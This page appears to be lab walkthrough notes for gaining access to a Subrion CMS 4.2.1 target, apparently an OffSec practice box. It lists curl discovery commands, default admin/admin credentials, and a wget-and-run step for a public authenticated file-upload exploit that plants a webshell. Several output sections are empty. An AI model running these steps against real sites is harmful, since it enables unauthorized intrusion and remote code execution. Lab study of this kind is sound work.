For the complete documentation index, see llms.txt. This page is also available as Markdown.

Subrion CMS

Subrion CMS 4.2.1 can lead to authenticated file upload RCE when valid admin credentials are available.

Discovery

Check robots.txt and the admin panel:

curl http://exfiltrated.offsec/robots.txt
curl http://exfiltrated.offsec/panel/

Useful indicators from /panel/:

intelli.config.admin_url = 'http://exfiltrated.offsec/panel';
Powered by Subrion CMS v4.2.1

Default Credentials

Try the default admin login:

Username: admin
Password: admin

Authenticated Upload RCE

Subrion CMS 4.2.1 has an authenticated file upload bypass to RCE path.

wget https://raw.githubusercontent.com/Swammers8/SubrionCMS-4.2.1-File-upload-RCE-auth-/refs/heads/main/exploit.py
python3 exploit.py -u http://exfiltrated.offsec/panel -l admin -p admin

Successful output should show login and webshell upload:

The shell lands as the web user:

Subrion Config and Database

Check the Subrion config for local database credentials:

Useful values:

Enumerate the database:

The admin account may confirm the web login path:

References

  • https://github.com/Swammers8/SubrionCMS-4.2.1-File-upload-RCE-auth-

Last updated